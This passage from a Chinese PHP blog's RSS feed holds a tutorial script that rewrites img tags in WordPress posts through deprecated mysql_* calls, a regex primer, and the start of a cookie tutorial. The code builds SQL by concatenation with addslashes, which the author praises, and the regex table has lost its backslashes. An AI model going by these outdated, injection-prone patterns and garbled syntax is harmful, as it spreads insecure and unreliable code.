30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$sqlc_host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">;</span> <span style="color: #096;">//Mysql服务器地址</span>
<span style="color: #000088;">$sqlc_user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <span style="color: #096;">//用户名</span>
<span style="color: #000088;">$sqlc_psw</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <span style="color: #096;">//密码</span>
<span style="color: #000088;">$sqlc_dba</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;wordpress&quot;</span><span style="color: #339933;">;</span> <span style="color: #096;">//数据库名</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;html&gt;&lt;head&gt; 
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;title&gt;Img标签批量清洗程序&lt;/title&gt;
&lt;/head&gt;&lt;body&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$img_count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$sqlc_con</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sqlc_host</span><span style="color: #339933;">,</span><span style="color: #000088;">$sqlc_user</span><span style="color: #339933;">,</span><span style="color: #000088;">$sqlc_psw</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sqlc_dba</span><span style="color: #339933;">,</span><span style="color: #000088;">$sqlc_con</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;set names UTF8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$sqlc_inner</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM wp_posts&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sqlc_row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sqlc_inner</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$cid</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$sqlc_row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'ID'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br /&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'Post Id =&gt; '</span><span style="color: #339933;">.</span><span style="color: #000088;">$cid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br /&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$img_change</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$sqlc_row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'post_content'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$img_preg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/&lt;img src=[^&gt;]+&gt;/'</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$img_preg</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_change</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_find</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$img_count_id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$img_count</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$img_find</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$img_count</span><span style="color: #339933;">++;</span>
		<span style="color: #000088;">$value_echo</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_ireplace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;lt;'</span><span style="color: #339933;">,</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$value_echo</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_ireplace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&gt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;gt;'</span><span style="color: #339933;">,</span><span style="color: #000088;">$value_echo</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$value_echo</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br/&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;(http://.+\.(jpg|png|JPG|PNG))&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$value</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$img_url</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'&lt;img src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$img_url</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;'</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000088;">$result_echo</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_ireplace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;lt;'</span><span style="color: #339933;">,</span><span style="color: #000088;">$result</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result_echo</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_ireplace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&gt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;gt;'</span><span style="color: #339933;">,</span><span style="color: #000088;">$result_echo</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$result_echo</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br/&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">str_ireplace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span> <span style="color: #339933;">&lt;&gt;</span> <span style="color: #0000ff;">'&lt;img src=&quot;&quot; /&gt;'</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #000088;">$cid</span> <span style="color: #339933;">&lt;&gt;</span> <span style="color: #cc66cc;">1887</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #000088;">$result</span> <span style="color: #339933;">&lt;&gt;</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$img_change</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_ireplace</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$value</span><span style="color: #339933;">,</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_change</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'ID Count : '</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$img_count</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$img_count_id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br/&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$img_change</span> <span style="color: #339933;">=</span> <span style="color: #990000;">addslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$img_change</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$change</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$img_change</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;update wp_posts set post_content='&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$change</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;' where id=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$cid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Success ~!'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Error : &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;br/&gt;-------------------&lt;br/&gt;Count : '</span><span style="color: #339933;">.</span><span style="color: #000088;">$img_count</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;/body&gt;&lt;/html&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sqlc_con</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>四. 程序运行原理：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;set names UTF8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #096;">//这里将数据库查询时候的字符集设定为 UTF-8，否则得到的数据会是乱码</span>
&nbsp;
<span style="color: #000088;">$img_preg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/&lt;img src=[^&gt;]+&gt;/'</span><span style="color: #339933;">;</span>
<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$img_preg</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_change</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_find</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #096;">//这里使用正则式将 IMG 标签全部找出来，并把整个标签放到 $img_find 变量里</span>
&nbsp;
<span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;(http://.+.(jpg|png))&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$value</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #096;">//这里把 IMG 标签之中的 URL 提取出来</span>
&nbsp;
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'&lt;img src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$img_url</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span> <span style="color: #339933;">&lt;&gt;</span> <span style="color: #0000ff;">'&lt;img src=&quot;&quot; /&gt;'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$img_change</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_ireplace</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$value</span><span style="color: #339933;">,</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span><span style="color: #000088;">$img_change</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #096;">//这里把提取之后重新组合的 IMG 标签替换进去</span>
&nbsp;
<span style="color: #000088;">$img_change</span> <span style="color: #339933;">=</span> <span style="color: #990000;">addslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$img_change</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #096;">//小邪觉得这个是亮点，这个函数能够让我们把 HTML 代码顺利存储到数据库</span></pre></td></tr></table></div>

<p><strong>五. 程序中使用过的正则式：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$img_preg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;/&lt;img src=[^&gt;]+&gt;/&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>> 找到以首先找到 IMG 标签的头部，然后后面的中括号里是一个条件。<br />
> 条件表达的是，这里跟着的字符是除了右尖括号以外的字符。<br />
> 右中括号的后边是个加号，意思是 “重复一次或更多次”。<br />
> 最后以右尖括号作为结尾，这样子就可以捕捉 IMG 标签咯。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$img_url_preg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;(http://.+.(jpg|png))&quot;</span></pre></td></tr></table></div>

<p>> 首先这里两边要用括号，表示包含分枝条件。然后找到以 HTTP:// 开头的字符。<br />
> 接着用 “.” 表示 “匹配除换行符以外的任意字符”，然后用加号标示重复次数。<br />
> 加一个斜杠标示转义字符，就是说后面那个点是普通字符，不是正则式的内容。<br />
> 然后加个括号，里面是分枝条件，标示最后是以 jpg 或者 png 结尾的。</p>
<p><strong>六. 常用的正则式语法：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">.</span>	匹配除换行符以外的任意字符
w	匹配字母或数字或下划线或汉字
s	匹配任意的空白符
d	匹配数字
	匹配单词的开始或结束
^	匹配字符串的开始
$	匹配字符串的结束
&nbsp;
<span style="color: #339933;">*</span>	重复零次或更多次
<span style="color: #339933;">+</span>	重复一次或更多次
?	重复零次或一次
<span style="color: #009900;">&#123;</span>n<span style="color: #009900;">&#125;</span>	重复n次
<span style="color: #009900;">&#123;</span>n<span style="color: #339933;">,</span><span style="color: #009900;">&#125;</span>	重复n次或更多次
<span style="color: #009900;">&#123;</span>n<span style="color: #339933;">,</span>m<span style="color: #009900;">&#125;</span>	重复n到m次
&nbsp;
W	匹配任意不是字母，数字，下划线，汉字的字符
S	匹配任意不是空白符的字符
D	匹配任意非数字的字符
B	匹配不是单词开头或结束的位置
<span style="color: #009900;">&#91;</span>^x<span style="color: #009900;">&#93;</span>	匹配除了x以外的任意字符
<span style="color: #009900;">&#91;</span>^aeiou<span style="color: #009900;">&#93;</span>	匹配除了aeiou这几个字母以外的任意字符
&nbsp;
<span style="color: #339933;">*</span>?	重复任意次，但尽可能少重复
<span style="color: #339933;">+</span>?	重复<span style="color: #cc66cc;">1</span>次或更多次，但尽可能少重复
??	重复<span style="color: #cc66cc;">0</span>次或<span style="color: #cc66cc;">1</span>次，但尽可能少重复
<span style="color: #009900;">&#123;</span>n<span style="color: #339933;">,</span>m<span style="color: #009900;">&#125;</span>?	重复n到m次，但尽可能少重复
<span style="color: #009900;">&#123;</span>n<span style="color: #339933;">,</span><span style="color: #009900;">&#125;</span>?	重复n次以上，但尽可能少重复</pre></td></tr></table></div>

<p><strong>七. Addslashes 预处理函数：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;img src=&quot;</span><span style="color: #0000ff;">'1'</span><span style="color: #0000ff;">'2'</span><span style="color: #cc66cc;">20100101</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">18</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">59</span>_006<span style="color: #339933;">.</span>jpg<span style="color: #0000ff;">&quot; /&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">addslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
//输出 img src=\&quot;\'1\'\'2\'20100101/18/59_006.jpg\&quot; /</pre></td></tr></table></div>

<p>> 预处理之后的样子在上面代码框中，这样存储就不会出现错误了。<br />
> 而使用 Phpmyadmin 或者 mysql_query 之类的东东读取数据库的数据。<br />
> 得到的都是预处理前的数据，灰常奇妙 (*^__^*) 嘻嘻。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/01/05/use-regex-to-clear-the-mix-of-tag-img/feed/</wfw:commentRss>
		<slash:comments>82</slash:comments>
		</item>
		<item>
		<title>如何使用PHP处理Cookies信息</title>
		<link>http://www.evlos.org/2010/01/04/php-control-the-cookies/</link>
		<comments>http://www.evlos.org/2010/01/04/php-control-the-cookies/#comments</comments>
		<pubDate>Sun, 03 Jan 2010 21:31:18 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[PHP编程 [PHP Build]]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1859</guid>
		<description><![CDATA[> 呵呵，一直以来小邪就觉得在写程序的时候是不是漏了些什么，让PHP程序出现了瑕疵。 > 今天突然醒悟，原来还有 Cookie 没有搞定，这可是用户体验里很重要的一部分呢。 > 这篇文章大家就和小邪一起学用小甜饼吧，学得好的童鞋，奖励春哥侍寝一晚。 > 话说最近几天的前几篇文章，貌似有点水哈，因为过节的时候小邪也很水 O(∩_∩)O。 1. 了解 Cookie： > Cookie 常用于识别用户身份，一般用于保存加密的账号和密码，(*^__^*) 。 > Cookies 是由服务器留在用户计算机中的一些信息文本文件所组成。 > 每当相同的计算机通过浏览器请求页面时，它同时会发送出去 Cookie。 > 这样，第二次进入这个网站的时候，就不用保存密码了哟。 2. PHP Cookie 存储与读取： > 嘻嘻 (^o^)，在这个地方填入你的昵称，然后点击确认按键即可。 > 程序就会将你的昵称存为 Cookie，然后读取并显示出来呢。 > 在 Cookie 失效（10分钟）之前，随便怎样调戏这个程序，都会显示这个样子咯。 > 牛叉的星际传送门 - http://www.evlos.org/ev-box/demo/cookie 3. 源代码讲解： 1 2 3 4 5 6 7 8 9 [...]]]></description>
			<content:encoded><![CDATA[<p>> 呵呵，一直以来小邪就觉得在写程序的时候是不是漏了些什么，让PHP程序出现了瑕疵。<br />
> 今天突然醒悟，原来还有 Cookie 没有搞定，这可是用户体验里很重要的一部分呢。</p>
<p><img src="http://www.evlos.org/ev-box/myimg/uploads/old/Capture1047.jpg" /></p>
<p>> 这篇文章大家就和小邪一起学用小甜饼吧，学得好的童鞋，奖励春哥侍寝一晚。<br />
> 话说最近几天的前几篇文章，貌似有点水哈，因为过节的时候小邪也很水 O(∩_∩)O。</p>
<p><span id="more-1859"></span><strong>1. 了解 Cookie：</strong></p>
<p>> Cookie 常用于识别用户身份，一般用于保存加密的账号和密码，(*^__^*) 。<br />
> Cookies 是由服务器留在用户计算机中的一些信息文本文件所组成。<br />
> 每当相同的计算机通过浏览器请求页面时，它同时会发送出去 Cookie。<br />
> 这样，第二次进入这个网站的时候，就不用保存密码了哟。</p>
<p><strong>2. PHP Cookie 存储与读取：</strong></p>
<p>> 嘻嘻 (^o^)，在这个地方填入你的昵称，然后点击确认按键即可。<br />
> 程序就会将你的昵称存为 Cookie，然后读取并显示出来呢。</p>
<p><img src="http://www.evlos.org/ev-box/myimg/uploads/old/Capture1048.jpg" /></p>
<p>> 在 Cookie 失效（10分钟）之前，随便怎样调戏这个程序，都会显示这个样子咯。</p>
<p><img src="http://www.evlos.org/ev-box/myimg/uploads/old/Capture1049.jpg" /></p>
<p>> 牛叉的星际传送门 - <a target="_blank" href="http://www.evlos.org/ev-box/demo/cookie">http://www.evlos.org/ev-box/demo/cookie</a></p>
<p><strong>3. 源代码讲解：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #096;">//首先检测是否获得了 POST 传递的昵称数据</span>
	<span style="color: #000088;">$div1</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'style=&quot;display:none;&quot;'</span><span style="color: #339933;">;</span> <span style="color: #096;">//有则隐藏昵称输入框，此字符串输出于 DIV 标签内</span>
	<span style="color: #000088;">$div2</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> <span style="color: #096;">//显示另外一个带欢迎语的显示 Cookie 的 DIV，嘿嘿</span>
	<span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cookie_test'</span><span style="color: #339933;">,</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">600</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">//同时保存昵称为 Cookie</span>
	<span style="color: #000088;">$show</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #096;">//显示昵称</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cookie_test&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #096;">//检测是否存在昵称Cookie</span>
	<span style="color: #000088;">$div1</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'style=&quot;display:none;&quot;'</span><span style="color: #339933;">;</span> <span style="color: #096;">//有则隐藏昵称输入框</span>
	<span style="color: #000088;">$div2</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> <span style="color: #096;">//显示一个带欢迎语的显示Cookie的DIV</span>
	<span style="color: #000088;">$show</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cookie_test&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #096;">//显示Cookie保存的昵称数据</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$div1</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> <span style="color: #096;">//显示昵称输入框与按键</span>
	<span style="color: #000088;">$div2</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'style=&quot;display:none;&quot;'</span><span style="color: #339933;">;</span> <span style="color: #096;">//隐藏显示Cookie的DIV，因为这时无Cookie</span>
	<span style="color: #000088;">$show</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> <span style="color: #096;">//纯初始化此变量</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>4. 分段讲解：</strong></p>
<p>> 注意！！Setcookie() 函数必须位于 <html> 标签之前。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span>name<span style="color: #339933;">,</span> value<span style="color: #339933;">,</span> expire<span style="color: #339933;">,</span> path<span style="color: #339933;">,</span> domain<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #096;">//此函数用于设置 Cookie，Name为变量名，Value为变量值，Expire为存储时间</span>
	<span style="color: #096;">//Path为路径，如果需要，一般都为&quot;/&quot;，Domain为作用域，比如设置为&quot;.evlos.org&quot;</span>
	<span style="color: #096;">//那么此 Cookie 在所有 evlos.org 的子域名下面都是有效的喔</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;user&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #096;">//显示变量名为 user 的 Cookie 内容</span>
	<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #096;">//显示所有本站的 Cookies</span>
	<span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;user&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">3600000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #096;">//清楚 Cookie，也就是将存储时间变为负值即可</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>5. WordPress 中的存储 Cookies 的变量：</strong></p>
<p>> WP 程序会自动取出 Cookies 赋值到下面变量中，可以直接用在模板上的。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
